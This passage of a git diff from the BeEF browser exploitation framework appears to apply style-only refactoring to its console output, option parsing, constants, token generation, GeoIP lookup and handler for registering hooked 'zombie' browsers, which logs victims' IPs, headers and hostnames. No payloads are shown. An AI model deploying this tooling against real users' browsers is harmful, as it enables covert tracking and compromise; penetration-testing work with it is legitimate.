File.exist?('core/main/console/beef.ascii') + File.open('core/main/console/beef.ascii', 'r') do |f| while line = f.gets - puts line + puts line end + end end - end - end + end - # - # Prints BeEF's welcome message - # - def print_welcome_msg - config = BeEF::Core::Configuration.instance - version = config.get('beef.version') - print_info "Browser Exploitation Framework (BeEF) #{version}" - data = "Twit: @beefproject\n" - data += "Site: https://beefproject.com\n" - data += "Blog: http://blog.beefproject.com\n" - data += "Wiki: https://github.com/beefproject/beef/wiki\n" - print_more data - print_info "Project Creator: " + "Wade Alcorn".red + " (@WadeAlcorn)" - end + # + # Prints BeEF's welcome message + # + def print_welcome_msg + config = BeEF::Core::Configuration.instance + version = config.get('beef.version') + print_info "Browser Exploitation Framework (BeEF) #{version}" + data = "Twit: @beefproject\n" + data += "Site: https://beefproject.com\n" + data += "Blog: http://blog.beefproject.com\n" + data += "Wiki: https://github.com/beefproject/beef/wiki\n" + print_more data + print_info 'Project Creator: ' + 'Wade Alcorn'.red + ' (@WadeAlcorn)' + end - # - # Prints the number of network interfaces beef is operating on. - # Looks like that: - # - # [14:06:48][*] 5 network interfaces were detected. - # - def print_network_interfaces_count - # get the configuration information - configuration = BeEF::Core::Configuration.instance - # local host - beef_host = configuration.local_host + # + # Prints the number of network interfaces beef is operating on. + # Looks like that: + # + # [14:06:48][*] 5 network interfaces were detected. + # + def print_network_interfaces_count + # get the configuration information + configuration = BeEF::Core::Configuration.instance + # local host + beef_host = configuration.local_host - # create an array of the interfaces the framework is listening on - if beef_host == '0.0.0.0' # the framework will listen on all interfaces - interfaces = Socket.ip_address_list.map {|x| x.ip_address if x.ipv4?} - interfaces.delete_if {|x| x.nil?} # remove if the entry is nill - else # the framework will listen on only one interface - interfaces = [beef_host] - end + # create an array of the interfaces the framework is listening on + if beef_host == '0.0.0.0' # the framework will listen on all interfaces + interfaces = Socket.ip_address_list.map { |x| x.ip_address if x.ipv4? } + interfaces.delete_if { |x| x.nil? } # remove if the entry is nill + else # the framework will listen on only one interface + interfaces = [beef_host] + end - self.interfaces = interfaces + self.interfaces = interfaces - # output the banner to the console - print_info "#{interfaces.count} network interfaces were detected." - end + # output the banner to the console + print_info "#{interfaces.count} network interfaces were detected." + end - # - # Prints the route to the network interfaces beef has been deployed on. - # Looks like that: - # - # [14:06:48][+] running on network interface: 192.168.255.1 - # [14:06:48] | Hook URL: http://192.168.255.1:3000/hook.js - # [14:06:48] | UI URL: http://192.168.255.1:3000/ui/panel - # [14:06:48][+] running on network interface: 127.0.0.1 - # [14:06:48] | Hook URL: http://127.0.0.1:3000/hook.js - # [14:06:48] | UI URL: http://127.0.0.1:3000/ui/panel - # - def print_network_interfaces_routes - configuration = BeEF::Core::Configuration.instance - # local config settings - proto = configuration.local_proto - hook_file = configuration.hook_file_path - admin_ui = configuration.get("beef.extension.admin_ui.enable") ? true : false - admin_ui_path = configuration.get("beef.extension.admin_ui.base_path") + # + # Prints the route to the network interfaces beef has been deployed on. + # Looks like that: + # + # [14:06:48][+] running on network interface: 192.168.255.1 + # [14:06:48] | Hook URL: http://192.168.255.1:3000/hook.js + # [14:06:48] | UI URL: http://192.168.255.1:3000/ui/panel + # [14:06:48][+] running on network interface: 127.0.0.1 + # [14:06:48] | Hook URL: http://127.0.0.1:3000/hook.js + # [14:06:48] | UI URL: http://127.0.0.1:3000/ui/panel + # + def print_network_interfaces_routes + configuration = BeEF::Core::Configuration.instance + # local config settings + proto = configuration.local_proto + hook_file = configuration.hook_file_path + admin_ui = configuration.get('beef.extension.admin_ui.enable') ? true : false + admin_ui_path = configuration.get('beef.extension.admin_ui.base_path') - # display the hook URL and Admin UI URL on each interface from the interfaces array - self.interfaces.map do |host| - print_info "running on network interface: #{host}" - port = configuration.local_port - data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n" - data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui - print_more data - end + # display the hook URL and Admin UI URL on each interface from the interfaces array + interfaces.map do |host| + print_info "running on network interface: #{host}" + port = configuration.local_port + data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n" + data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui + print_more data + end - # display the public hook URL and Admin UI URL - if configuration.public_enabled? - print_info 'Public:' - data = "Hook URL: #{configuration.hook_url}\n" - data += "UI URL: #{configuration.beef_url_str}#{admin_ui_path}/panel\n" if admin_ui - print_more data - end - end + # display the public hook URL and Admin UI URL + if configuration.public_enabled? + print_info 'Public:' + data = "Hook URL: #{configuration.hook_url}\n" + data += "UI URL: #{configuration.beef_url_str}#{admin_ui_path}/panel\n" if admin_ui + print_more data + end + end - # - # Print loaded extensions - # - def print_loaded_extensions - extensions = BeEF::Extensions.get_loaded - print_info "#{extensions.size} extensions enabled:" - output = '' + # + # Print loaded extensions + # + def print_loaded_extensions + extensions = BeEF::Extensions.get_loaded + print_info "#{extensions.size} extensions enabled:" + output = '' - extensions.each do |key, ext| - output << "#{ext['name']}\n" - end - - print_more output - end - - # - # Print loaded modules - # - def print_loaded_modules - print_info "#{BeEF::Modules::get_enabled.count} modules enabled." - end + extensions.each do |_key, ext| + output << "#{ext['name']}\n" + end + + print_more output + end + + # + # Print loaded modules + # + def print_loaded_modules + print_info "#{BeEF::Modules.get_enabled.count} modules enabled." + end - # - # Print WebSocket servers - # - def print_websocket_servers - config = BeEF::Core::Configuration.instance - ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout') - print_info "Starting WebSocket server ws://#{config.beef_host}:#{config.get("beef.http.websocket.port").to_i} [timer: #{ws_poll_timeout}]" - if config.get("beef.http.websocket.secure") - print_info "Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get("beef.http.websocket.secure_port").to_i} [timer: #{ws_poll_timeout}]" + # + # Print WebSocket servers + # + def print_websocket_servers + config = BeEF::Core::Configuration.instance + ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout') + print_info "Starting WebSocket server ws://#{config.beef_host}:#{config.get('beef.http.websocket.port').to_i} [timer: #{ws_poll_timeout}]" + if config.get('beef.http.websocket.secure') + print_info "Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get('beef.http.websocket.secure_port').to_i} [timer: #{ws_poll_timeout}]" + end + end + end end end end end - -end -end -end diff --git a/core/main/console/commandline.rb b/core/main/console/commandline.rb index 9c5d59eec7..9c0789c066 100644 --- a/core/main/console/commandline.rb +++ b/core/main/console/commandline.rb @@ -10,14 +10,13 @@ module Console # This module parses the command line argument when running beef. # module CommandLine - - @options = Hash.new + @options = {} @options[:verbose] = false @options[:resetdb] = false @options[:ascii_art] = false - @options[:ext_config] = "" - @options[:port] = "" - @options[:ws_port] = "" + @options[:ext_config] = '' + @options[:port] = '' + @options[:ws_port] = '' @options[:interactive] = false @options[:update_disabled] = false @options[:update_auto] = false @@ -31,56 +30,52 @@ module CommandLine def self.parse return @options if @already_parsed - begin - optparse = OptionParser.new do |opts| - opts.on('-x', '--reset', 'Reset the database') do - @options[:resetdb] = true - end - - opts.on('-v', '--verbose', 'Display debug information') do - @options[:verbose] = true - end + optparse = OptionParser.new do |opts| + opts.on('-x', '--reset', 'Reset the database') do + @options[:resetdb] = true + end - opts.on('-a', '--ascii_art', 'Prints BeEF ascii art') do - @options[:ascii_art] = true - end + opts.on('-v', '--verbose', 'Display debug information') do + @options[:verbose] = true + end - opts.on('-c', '--config FILE', "Load a different configuration file: if it's called custom-config.yaml, git automatically ignores it.") do |f| - @options[:ext_config] = f - end + opts.on('-a', '--ascii_art', 'Prints BeEF ascii art') do + @options[:ascii_art] = true + end - opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p| - @options[:port] = p - end + opts.on('-c', '--config FILE', "Load a different configuration file: if it's called custom-config.yaml, git automatically ignores it.") do |f| + @options[:ext_config] = f + end - opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port| - @options[:ws_port] = ws_port - end + opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p| + @options[:port] = p + end - opts.on('-ud', '--update_disabled', 'Skips update') do - @options[:update_disabled] = true - end + opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port| + @options[:ws_port] = ws_port + end - opts.on('-ua', '--update_auto', 'Automatic update with no prompt') do - @options[:update_auto] = true - end + opts.on('-ud', '--update_disabled', 'Skips update') do + @options[:update_disabled] = true + end - #opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do - # @options[:interactive] = true - #end + opts.on('-ua', '--update_auto', 'Automatic update with no prompt') do + @options[:update_auto] = true end - optparse.parse! - @already_parsed = true - @options - rescue OptionParser::InvalidOption => e - puts "Invalid command line option provided. Please run beef --help" - exit 1 + # opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do + # @options[:interactive] = true + # end end - end + optparse.parse! + @already_parsed = true + @options + rescue OptionParser::InvalidOption + puts 'Invalid command line option provided. Please run beef --help' + exit 1 + end end - end end end diff --git a/core/main/constants/browsers.rb b/core/main/constants/browsers.rb index 9218880827..6eb3f714b9 100644 --- a/core/main/constants/browsers.rb +++ b/core/main/constants/browsers.rb @@ -5,68 +5,62 @@ # module BeEF -module Core -module Constants + module Core + module Constants + module Browsers + FF = 'FF' # Firefox + M = 'M' # Mozilla + IE = 'IE' # Internet Explorer + E = 'E' # Microsoft Edge + S = 'S' # Safari + EP = 'EP' # Epiphany + K = 'K' # Konqueror + C = 'C' # Chrome + O = 'O' # Opera + A = 'A' # Avant + MI = 'MI' # Midori + OD = 'OD' # Odyssey + BR = 'BR' # Brave + ALL = 'ALL' # ALL + UNKNOWN = 'UN' # Unknown - module Browsers + FRIENDLY_FF_NAME = 'Firefox' + FRIENDLY_M_NAME = 'Mozilla' + FRIENDLY_IE_NAME = 'Internet Explorer' + FRIENDLY_E_NAME = 'MSEdge' + FRIENDLY_S_NAME = 'Safari' + FRIENDLY_EP_NAME = 'Epiphany' + FRIENDLY_K_NAME = 'Konqueror' + FRIENDLY_C_NAME = 'Chrome' + FRIENDLY_O_NAME = 'Opera' + FRIENDLY_A_NAME = 'Avant' + FRIENDLY_MI_NAME = 'Midori' + FRIENDLY_OD_NAME = 'Odyssey' + FRIENDLY_BR_NAME = 'Brave' + FRIENDLY_UN_NAME = 'UNKNOWN' - FF = 'FF' # Firefox - M = 'M' # Mozilla - IE = 'IE' # Internet Explorer - E = 'E' # Microsoft Edge - S = 'S' # Safari - EP = 'EP' # Epiphany - K = 'K' # Konqueror - C = 'C' # Chrome - O = 'O' # Opera - A = 'A' # Avant - MI = 'MI' # Midori - OD = 'OD' # Odyssey - BR = 'BR' # Brave - ALL = 'ALL' # ALL - UNKNOWN = 'UN' # Unknown - - FRIENDLY_FF_NAME = 'Firefox' - FRIENDLY_M_NAME = 'Mozilla' - FRIENDLY_IE_NAME = 'Internet Explorer' - FRIENDLY_E_NAME = 'MSEdge' - FRIENDLY_S_NAME = 'Safari' - FRIENDLY_EP_NAME = 'Epiphany' - FRIENDLY_K_NAME = 'Konqueror' - FRIENDLY_C_NAME = 'Chrome' - FRIENDLY_O_NAME = 'Opera' - FRIENDLY_A_NAME = 'Avant' - FRIENDLY_MI_NAME = 'Midori' - FRIENDLY_OD_NAME = 'Odyssey' - FRIENDLY_BR_NAME = 'Brave' - FRIENDLY_UN_NAME = 'UNKNOWN' - - # Attempt to retrieve a browser's friendly name - # @param [String] browser_name Short browser name - # @return [String] Friendly browser name - def self.friendly_name(browser_name) - - case browser_name - when FF; return FRIENDLY_FF_NAME - when M ; return FRIENDLY_M_NAME - when IE; return FRIENDLY_IE_NAME - when E ; return FRIENDLY_E_NAME - when S ; return FRIENDLY_S_NAME - when EP; return FRIENDLY_EP_NAME - when K ; return FRIENDLY_K_NAME - when C ; return FRIENDLY_C_NAME - when O ; return FRIENDLY_O_NAME - when A ; return FRIENDLY_A_NAME - when MI ; return FRIENDLY_MI_NAME - when OD ; return FRIENDLY_OD_NAME - when BR ; return FRIENDLY_BR_NAME - when UNKNOWN; return FRIENDLY_UN_NAME + # Attempt to retrieve a browser's friendly name + # @param [String] browser_name Short browser name + # @return [String] Friendly browser name + def self.friendly_name(browser_name) + case browser_name + when FF then FRIENDLY_FF_NAME + when M then FRIENDLY_M_NAME + when IE then FRIENDLY_IE_NAME + when E then FRIENDLY_E_NAME + when S then FRIENDLY_S_NAME + when EP then FRIENDLY_EP_NAME + when K then FRIENDLY_K_NAME + when C then FRIENDLY_C_NAME + when O then FRIENDLY_O_NAME + when A then FRIENDLY_A_NAME + when MI then FRIENDLY_MI_NAME + when OD then FRIENDLY_OD_NAME + when BR then FRIENDLY_BR_NAME + when UNKNOWN then FRIENDLY_UN_NAME + end + end end - end - end - -end -end end diff --git a/core/main/constants/commandmodule.rb b/core/main/constants/commandmodule.rb index 19a5634b4e..0706f5c02e 100644 --- a/core/main/constants/commandmodule.rb +++ b/core/main/constants/commandmodule.rb @@ -5,21 +5,15 @@ # module BeEF -module Core -module Constants - - module CommandModule - - - # @note Constants to define the execution probability of a command module (this is browser dependant) - VERIFIED_WORKING = 0 - VERIFIED_UNKNOWN = 1 - VERIFIED_USER_NOTIFY = 2 - VERIFIED_NOT_WORKING = 3 - - + module Core + module Constants + module CommandModule + # @note Constants to define the execution probability of a command module (this is browser dependant) + VERIFIED_WORKING = 0 + VERIFIED_UNKNOWN = 1 + VERIFIED_USER_NOTIFY = 2 + VERIFIED_NOT_WORKING = 3 + end + end end - -end -end end diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb index 34a8bf9fcb..400abad44f 100644 --- a/core/main/constants/hardware.rb +++ b/core/main/constants/hardware.rb @@ -5,77 +5,73 @@ # module BeEF -module Core -module Constants - - # @note The hardware's strings for hardware detection. - module Hardware - - HW_UNKNOWN_IMG = 'pc.png' - HW_VM_IMG = 'vm.png' - HW_LAPTOP_IMG = 'laptop.png' - HW_IPHONE_UA_STR = 'iPhone' - HW_IPHONE_IMG = 'iphone.jpg' - HW_IPAD_UA_STR = 'iPad' - HW_IPAD_IMG = 'ipad.png' - HW_IPOD_UA_STR = 'iPod' - HW_IPOD_IMG = 'ipod.jpg' - HW_BLACKBERRY_UA_STR = 'BlackBerry' - HW_BLACKBERRY_IMG = 'blackberry.png' - HW_WINPHONE_UA_STR = 'Windows Phone' - HW_WINPHONE_IMG = 'win.png' - HW_ZUNE_UA_STR = 'ZuneWP7' - HW_ZUNE_IMG = 'zune.gif' - HW_KINDLE_UA_STR = 'Kindle' - HW_KINDLE_IMG = 'kindle.png' - HW_NOKIA_UA_STR = 'Nokia' - HW_NOKIA_IMG = 'nokia.ico' - HW_HTC_UA_STR = 'HTC' - HW_HTC_IMG = 'htc.ico' - HW_MOTOROLA_UA_STR = 'motorola' - HW_MOTOROLA_IMG = 'motorola.png' - HW_GOOGLE_UA_STR = 'Nexus' - HW_GOOGLE_IMG = 'nexus.png' - HW_ERICSSON_UA_STR = 'Ericsson' - HW_ERICSSON_IMG = 'sony_ericsson.png' - HW_ALL_UA_STR = 'All' + module Core + module Constants + # @note The hardware's strings for hardware detection. + module Hardware + HW_UNKNOWN_IMG = 'pc.png' + HW_VM_IMG = 'vm.png' + HW_LAPTOP_IMG = 'laptop.png' + HW_IPHONE_UA_STR = 'iPhone' + HW_IPHONE_IMG = 'iphone.jpg' + HW_IPAD_UA_STR = 'iPad' + HW_IPAD_IMG = 'ipad.png' + HW_IPOD_UA_STR = 'iPod' + HW_IPOD_IMG = 'ipod.jpg' + HW_BLACKBERRY_UA_STR = 'BlackBerry' + HW_BLACKBERRY_IMG = 'blackberry.png' + HW_WINPHONE_UA_STR = 'Windows Phone' + HW_WINPHONE_IMG = 'win.png' + HW_ZUNE_UA_STR = 'ZuneWP7' + HW_ZUNE_IMG = 'zune.gif' + HW_KINDLE_UA_STR = 'Kindle' + HW_KINDLE_IMG = 'kindle.png' + HW_NOKIA_UA_STR = 'Nokia' + HW_NOKIA_IMG = 'nokia.ico' + HW_HTC_UA_STR = 'HTC' + HW_HTC_IMG = 'htc.ico' + HW_MOTOROLA_UA_STR = 'motorola' + HW_MOTOROLA_IMG = 'motorola.png' + HW_GOOGLE_UA_STR = 'Nexus' + HW_GOOGLE_IMG = 'nexus.png' + HW_ERICSSON_UA_STR = 'Ericsson' + HW_ERICSSON_IMG = 'sony_ericsson.png' + HW_ALL_UA_STR = 'All' # Attempt to match operating system string to constant # @param [String] name Name of operating system # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched - def self.match_hardware(name) - case name.downcase - when /iphone/ - HW_IPHONE_UA_STR - when /ipad/ - HW_IPAD_UA_STR - when /ipod/ - HW_IPOD_UA_STR - when /blackberry/ - HW_BLACKBERRY_UA_STR - when /windows phone/ - HW_WINPHONE_UA_STR - when /zune/ - HW_ZUNE_UA_STR - when /kindle/ - HW_KINDLE_UA_STR - when /nokia/ - HW_NOKIA_UA_STR - when /motorola/ - HW_MOTOROLA_UA_STR - when /htc/ - HW_HTC_UA_STR - when /google/ - HW_GOOGLE_UA_STR - when /ericsson/ - HW_ERICSSON_UA_STR - else - 'ALL' - end - end - + def self.match_hardware(name) + case name.downcase + when /iphone/ + HW_IPHONE_UA_STR + when /ipad/ + HW_IPAD_UA_STR + when /ipod/ + HW_IPOD_UA_STR + when /blackberry/ + HW_BLACKBERRY_UA_STR + when /windows phone/ + HW_WINPHONE_UA_STR + when /zune/ + HW_ZUNE_UA_STR + when /kindle/ + HW_KINDLE_UA_STR + when /nokia/ + HW_NOKIA_UA_STR + when /motorola/ + HW_MOTOROLA_UA_STR + when /htc/ + HW_HTC_UA_STR + when /google/ + HW_GOOGLE_UA_STR + when /ericsson/ + HW_ERICSSON_UA_STR + else + 'ALL' + end + end + end + end end - -end -end end diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb index ae232ad43f..cd486a6cb2 100644 --- a/core/main/constants/os.rb +++ b/core/main/constants/os.rb @@ -7,10 +7,8 @@ module BeEF module Core module Constants - # @note The OS'es strings for os detection. module Os - OS_UNKNOWN_IMG = 'unknown.png' OS_WINDOWS_UA_STR = 'Windows' OS_WINDOWS_IMG = 'win.png' @@ -50,37 +48,35 @@ module Os # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched def self.match_os(name) case name.downcase - when /win/ - OS_WINDOWS_UA_STR - when /lin/ - OS_LINUX_UA_STR - when /os x/, /osx/, /mac/ - OS_MAC_UA_STR - when /qnx/ - OS_QNX_UA_STR - when /sun/ - OS_SUNOS_UA_STR - when /beos/ - OS_BEOS_UA_STR - when /openbsd/ - OS_OPENBSD_UA_STR - when /ios/, /iphone/, /ipad/, /ipod/ - OS_IOS_UA_STR - when /maemo/ - OS_MAEMO_UA_STR - when /blackberry/ - OS_BLACKBERRY_UA_STR - when /android/ - OS_ANDROID_UA_STR - when /aros/ - OS_AROS_UA_STR - else - 'ALL' + when /win/ + OS_WINDOWS_UA_STR + when /lin/ + OS_LINUX_UA_STR + when /os x/, /osx/, /mac/ + OS_MAC_UA_STR + when /qnx/ + OS_QNX_UA_STR + when /sun/ + OS_SUNOS_UA_STR + when /beos/ + OS_BEOS_UA_STR + when /openbsd/ + OS_OPENBSD_UA_STR + when /ios/, /iphone/, /ipad/, /ipod/ + OS_IOS_UA_STR + when /maemo/ + OS_MAEMO_UA_STR + when /blackberry/ + OS_BLACKBERRY_UA_STR + when /android/ + OS_ANDROID_UA_STR + when /aros/ + OS_AROS_UA_STR + else + 'ALL' end end - end - end end end diff --git a/core/main/crypto.rb b/core/main/crypto.rb index d2d28f8c90..0269f22801 100644 --- a/core/main/crypto.rb +++ b/core/main/crypto.rb @@ -6,90 +6,89 @@ require 'securerandom' module BeEF -module Core - module Crypto - # @note the minimum length of the security token - TOKEN_MINIMUM_LENGTH = 15 - - # - # Generate a secure random token - # - # @param [Integer] len The length of the secure token - # - # @return [String] Security token - # - def self.secure_token(len = nil) - # get default length from config - config = BeEF::Core::Configuration.instance - token_length = len || config.get('beef.crypto_default_value_length').to_i - - # type checking - raise TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if (token_length < TOKEN_MINIMUM_LENGTH) - - # return random hex string - SecureRandom.random_bytes(token_length).unpack("H*")[0] - end + module Core + module Crypto + # @note the minimum length of the security token + TOKEN_MINIMUM_LENGTH = 15 - # - # Generate a secure random token, 20 chars, used as an auth token for the RESTful API. - # After creation it's stored in the BeEF configuration object => conf.get('beef.api_token') - # - # @return [String] Security token - # - def self.api_token - - config = BeEF::Core::Configuration.instance - token_length = 20 + # + # Generate a secure random token + # + # @param [Integer] len The length of the secure token + # + # @return [String] Security token + # + def self.secure_token(len = nil) + # get default length from config + config = BeEF::Core::Configuration.instance + token_length = len || config.get('beef.crypto_default_value_length').to_i - # return random hex string - token = SecureRandom.random_bytes(token_length).unpack("H*")[0] - config.set('beef.api_token', token) - token - end + # type checking + raise TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if token_length < TOKEN_MINIMUM_LENGTH - # - # Generates a random alphanumeric string - # Note: this isn't securely random - # @todo use SecureRandom once Ruby 2.4 is EOL - # - # @param length integer length of returned string - # - def self.random_alphanum_string(length = 10) - raise TypeError, 'Invalid length' unless length.integer? - raise TypeError, 'Invalid length' unless length.positive? + # return random hex string + SecureRandom.random_bytes(token_length).unpack1('H*') + end - [*('a'..'z'),*('A'..'Z'),*('0'..'9')].shuffle[0,length].join - end + # + # Generate a secure random token, 20 chars, used as an auth token for the RESTful API. + # After creation it's stored in the BeEF configuration object => conf.get('beef.api_token') + # + # @return [String] Security token + # + def self.api_token + config = BeEF::Core::Configuration.instance + token_length = 20 - # - # Generates a random hex string - # - # @param length integer length of returned string - # - def self.random_hex_string(length = 10) - raise TypeError, 'Invalid length' unless length.integer? - raise TypeError, 'Invalid length' unless length.positive? + # return random hex string + token = SecureRandom.random_bytes(token_length).unpack1('H*') + config.set('beef.api_token', token) + token + end - SecureRandom.random_bytes(length).unpack('H*').first[0...length] - end + # + # Generates a random alphanumeric string + # Note: this isn't securely random + # @todo use SecureRandom once Ruby 2.4 is EOL + # + # @param length integer length of returned string + # + def self.random_alphanum_string(length = 10) + raise TypeError, 'Invalid length' unless length.integer? + raise TypeError, 'Invalid length' unless length.positive? - # - # Generates a unique identifier for DNS rules. - # - # @return [String] 8-character hex identifier - # - def self.dns_rule_id - id = nil + [*('a'..'z'), *('A'..'Z'), *('0'..'9')].shuffle[0, length].join + end + + # + # Generates a random hex string + # + # @param length integer length of returned string + # + def self.random_hex_string(length = 10) + raise TypeError, 'Invalid length' unless length.integer? + raise TypeError, 'Invalid length' unless length.positive? - begin - id = random_hex_string(8) - BeEF::Core::Models::Dns::Rule.all.each { |rule| throw StandardError if id == rule.id } - rescue StandardError - retry + SecureRandom.random_bytes(length).unpack1('H*')[0...length] end - id.to_s + # + # Generates a unique identifier for DNS rules. + # + # @return [String] 8-character hex identifier + # + def self.dns_rule_id + id = nil + + begin + id = random_hex_string(8) + BeEF::Core::Models::Dns::Rule.all.each { |rule| throw StandardError if id == rule.id } + rescue StandardError + retry + end + + id.to_s + end end end end -end diff --git a/core/main/geoip.rb b/core/main/geoip.rb index fbe33ab999..b2470ebd17 100644 --- a/core/main/geoip.rb +++ b/core/main/geoip.rb @@ -5,55 +5,55 @@ # module BeEF -module Core - class GeoIp - include Singleton - - def initialize - @config = BeEF::Core::Configuration.instance - @enabled = @config.get('beef.geoip.enable') ? true : false + module Core + class GeoIp + include Singleton - return unless @enabled + def initialize + @config = BeEF::Core::Configuration.instance + @enabled = @config.get('beef.geoip.enable') ? true : false - geoip_file = @config.get('beef.geoip.database') + return unless @enabled - unless File.exists? geoip_file - print_error "[GeoIP] Could not find MaxMind GeoIP database: '#{geoip_file}'" + geoip_file = @config.get('beef.geoip.database') + + unless File.exist? geoip_file + print_error "[GeoIP] Could not find MaxMind GeoIP database: '#{geoip_file}'" + @enabled = false + return + end + + require 'maxmind/db' + @geoip_reader = MaxMind::DB.new(geoip_file, mode: MaxMind::DB::MODE_MEMORY) + @geoip_reader.freeze + rescue StandardError => e + print_error "[GeoIP] Failed to load GeoIP database: #{e.message}" @enabled = false - return end - require 'maxmind/db' - @geoip_reader = MaxMind::DB.new(geoip_file, mode: MaxMind::DB::MODE_MEMORY) - @geoip_reader.freeze - rescue => e - print_error "[GeoIP] Failed to load GeoIP database: #{e.message}" - @enabled = false - end - - # - # Check if GeoIP functionality is enabled and functional - # - # @return [Boolean] GeoIP functionality enabled? - # - def enabled? - @enabled - end + # + # Check if GeoIP functionality is enabled and functional + # + # @return [Boolean] GeoIP functionality enabled? + # + def enabled? + @enabled + end - # - # Search the MaxMind GeoLite2 database for the specified IP address - # - # @param [String] The IP address to lookup - # - # @return [Hash] IP address lookup results - # - def lookup(ip) - raise TypeError, '"ip" needs to be a string' unless ip.string? + # + # Search the MaxMind GeoLite2 database for the specified IP address + # + # @param [String] The IP address to lookup + # + # @return [Hash] IP address lookup results + # + def lookup(ip) + raise TypeError, '"ip" needs to be a string' unless ip.string? - return unless @enabled + return unless @enabled - @geoip_reader.get(ip) + @geoip_reader.get(ip) + end end end end -end diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 35f11759bd..1a8d9eb6e3 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -8,7 +8,6 @@ module Core module Handlers # @note Retrieves information about the browser (type, version, plugins etc.) class BrowserDetails - @data = {} HB = BeEF::Core::Models::HookedBrowser @@ -16,69 +15,70 @@ class BrowserDetails def initialize(data) @data = data - setup() + setup end def err_msg(error) print_error "[Browser Details] #{error}" end - def setup() - print_debug "[INIT] Processing Browser Details..." + def setup + print_debug '[INIT] Processing Browser Details...' config = BeEF::Core::Configuration.instance # validate hook session value session_id = get_param(@data, 'beefhook') print_debug "[INIT] Processing Browser Details for session #{session_id}" - (self.err_msg "session id is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(session_id) - hooked_browser = HB.where(:session => session_id).first - return if not hooked_browser.nil? # browser is already registered with framework + unless BeEF::Filters.is_valid_hook_session_id?(session_id) + (err_msg 'session id is invalid' + return) + end + hooked_browser = HB.where(session: session_id).first + return unless hooked_browser.nil? # browser is already registered with framework # create the structure representing the hooked browser - zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id) + zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id) zombie.firstseen = Time.new.to_i # hooked window host name log_zombie_port = 0 - if not @data['results']['browser.window.hostname'].nil? + if !@data['results']['browser.window.hostname'].nil? log_zombie_domain = @data['results']['browser.window.hostname'] - elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?) + elsif !@data['request'].referer.nil? and !@data['request'].referer.empty? referer = @data['request'].referer - if referer.start_with?("https://") - log_zombie_port = 443 - else - log_zombie_port = 80 - end - log_zombie_domain=referer.gsub('http://', '').gsub('https://', '').split('/')[0] + log_zombie_port = if referer.start_with?('https://') + 443 + else + 80 + end + log_zombie_domain = referer.gsub('http://', '').gsub('https://', '').split('/')[0] else - log_zombie_domain="unknown" # Probably local file open + log_zombie_domain = 'unknown' # Probably local file open end # hooked window host port - if not @data['results']['browser.window.hostport'].nil? - log_zombie_port = @data['results']['browser.window.hostport'] + if @data['results']['browser.window.hostport'].nil? + log_zombie_domain_parts = log_zombie_domain.split(':') + log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1 else - log_zombie_domain_parts=log_zombie_domain.split(':') - if log_zombie_domain_parts.length > 1 then - log_zombie_port=log_zombie_domain_parts[1].to_i - end + log_zombie_port = @data['results']['browser.window.hostport'] end zombie.domain = log_zombie_domain zombie.port = log_zombie_port - #Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :( - @http_headers = Hash.new - http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' } - .each { |key, value| + # Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :( + @http_headers = {} + http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' } + .each do |key, value| @http_headers[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') - } + end zombie.httpheaders = @http_headers.to_json zombie.save! - #print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}" + # print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}" # add a log entry for the newly hooked browser - BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}") + BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port}", zombie.id.to_s) # get and store browser name browser_name = get_param(@data['results'], 'browser.name') @@ -89,23 +89,21 @@ def setup() browser_friendly_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name) BD.set(session_id, 'browser.name.friendly', browser_friendly_name) else - self.err_msg "Invalid browser name returned from the hook browser's initial connection." + err_msg "Invalid browser name returned from the hook browser's initial connection." end if BeEF::Filters.is_valid_ip?(zombie.ip) BD.set(session_id, 'network.ipaddress', zombie.ip) else - self.err_msg "Invalid IP address returned from the hook browser's initial connection." + err_msg "Invalid IP address returned from the hook browser's initial connection." end # lookup zombie host name if config.get('beef.dns_hostname_lookup') begin host_name = Resolv.getname(zombie.ip).to_s - if BeEF::Filters.is_valid_hostname?(host_name) - BD.set(session_id, 'host.name', host_name) - end - rescue + BD.set(session_id, 'host.name', host_name) if BeEF::Filters.is_valid_hostname?(host_name) + rescue StandardError print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'" end end @@ -119,62 +117,112 @@ def setup() print_debug 